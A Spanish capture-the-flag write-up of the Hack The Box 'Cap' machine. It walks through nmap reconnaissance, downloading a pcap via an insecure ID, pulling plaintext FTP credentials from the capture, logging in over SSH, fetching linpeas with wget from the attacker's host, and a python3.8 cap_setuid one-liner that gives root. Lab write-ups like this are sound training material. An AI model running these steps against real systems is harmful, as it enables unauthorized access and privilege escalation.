01Resumen
CAP es una maquina con un servicio web que nos permite
descarganos unos archivos .pcap los cuales contienen un
usuario y una contraseña en texto plano con los cuales podremos conectarnos
a la maquina victima mediante ssh. Una vez hecho esto usaremos linpeas
para analizar dicho sistema en busca de vulnerabilidades hasta encontrar
un archivo python el cual nos permite hacer una escalada de privilegios
modificando el system(setuid).
02Reconocimiento
Lo primero, hacer un escaneo sobre nuestra victima en busca de puertos y versiones.
$ nmap -p- --open -sS -Pn --min-rate 5000 10.129.120.55 -oN fase-1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-05 22:08 CEST
Nmap scan report for 10.129.120.55
Host is up (0.082s latency).
Not shown: 65134 closed tcp ports (reset), 398 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 12.79 seconds
$ nmap -p21,22,80 -sV -sC 10.129.120.55 -oN fase-2
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-05 22:16 CEST
Nmap scan report for 10.129.120.55
Host is up (0.034s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 10.69 seconds
- Puerto 21- FTP posible futura conexion.
- Puerto 22 - SSH posible futura conexion.
- Puerto 80 - TCP servidor web con pagina llamada Security Dashboard.
03Enumeracion de Servicios
Investigaremos la web en busca de vulnerabilidades.
http://10.129.120.55/
Al indagar por dicha web vemos que estamos en la sesion de Nathan,ademas en dicha pagina tenemos varios apartados como Security Snapshot,IP Config y Network Status.Al investigar dichas secciones, en el apartado de Security Snapshot vemos que nos permite descarganos un archivo.
http://10.129.120.55/data/1
Al entrar en el apartado Security Snapshot vemos que estamos en el directorio /data/1, al seguir investigando dicha pagina y seguir entrando en el apartado vemos como el id cambia, y el numero de paquetes que nos muestra es diferente. Viendo esto decido ir probando numeros hasta que el directorio /data/0 es donde tennemos mas paquetes.
04Analisis del Trafico de la Red
Ahora analizaremos todos nuestros archivos .pcap con Wireshark
Analisis
Como podemos observar en este archivo hay trafico TCP, HTTP y FTP, a continacion indagaremos por este trafico en busca de algo que nos pueda resultar util.
Seguimiento Trafico TCP
Al seguir el trafico TCP podemos ver como encontramos el usuario nathan y su correspondiente contraseña con la cual podremos conectar al usuario nathan a traves de ssh.
05Explotacion - Acceso por SSH
Una vez tenemos el usuario nathan con su correspondiente contraseña, intentaremos
crear una conexion mediante SSH indicando el usuario que hemos conseguido
seguido de la IP de nuestra maquina victima.
$ nmap -p21,22,80 -sV -sC 10.129.120.55 -oN fase-2
nathan@10.129.120.55
nathan@10.129.120.55's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Sep 6 11:30:39 UTC 2026
System load: 0.11
Usage of /: 36.7% of 8.73GB
Memory usage: 20%
Swap usage: 0%
Processes: 223
Users logged in: 0
IPv4 address for eth0: 10.129.120.136
IPv6 address for eth0: dead:beef::a0de:adff:fe9f:1df0
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update.
Last login: Sun Sep 6 11:27:48 2026 from 10.10.14.223
nathan@cap:~$
Como podemos observar hemos obtenido acceso a nuestra maquina victima con el usuario nathan y correspondiente contraseña. A continuacion investigaremos dicho sistema.
$nathan@cap:~$ ls
user.txt
nathan@cap:~$ cat user.txt
[flag]
nathan@cap:~$
Como podemos observar al listar el contenido del home de nathan encontramos la primera flag, con la cual ya habriamos completado el primer reto de Hack The Box. Una vez hecho esto pasariamos a hacer la escalada de privilegios para conseguir acceso a dicha maquina como root.
06Escalada de privilegios
Al conseguir acceso a la maquina victima con el usuario nathan, pasaremos a hacer la escalada de privilegios, para ello utilizaremos linpeas el cual nos escanea el sistema en busca malas configuraciones, vulnerabilidades...
$python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Creamos un servidor HTTP con python para poder enviarnos linpeas.sh a nuesra maquina
victima
$nathan@cap wget http://10.10.14.223/linpeas.sh
--2026-09-06 12:33:02-- http://10.10.14.223/linpeas.sh
Connecting to 10.10.14.223:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1144032 (1.1M) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[=====================================>] 1.09M 4.81MB/s in 0.2s
2026-09-06 12:33:02 (4.81 MB/s) - ‘linpeas.sh’ saved [1144032/1144032]
nathan@cap
$./linpeas.sh
╔══════════╣ Capabilities (T1548.001)
══╣ Current shell capabilities (T1548.001)
CapInh: 0x0000000000000000=
CapPrm: 0x0000000000000000=
CapEff: 0x0000000000000000=
CapBnd: 0x0000003fffffffff=
CapAmb: 0x0000000000000000=
╚ Parent process capabilities
CapInh: 0x0000000000000000=
CapPrm: 0x0000000000000000=
CapEff: 0x0000000000000000=
CapBnd: 0x0000003fffffffff=
CapAmb: 0x0000000000000000=
══╣ Processes with capability sets (non-zero CapEff/CapAmb, limit 40) (T1548.001)
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
Como podemos observar en el reporte de linpeas, hemos encontrado un archivo python que nos permite modificar el set_uid, para ver ante que estamos buscamos dicha vulnerabilidad.
$python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root
# cat /root/root.txt
[flag]
Una vez ejecutado vemos como hemos conseguido ser usuario root.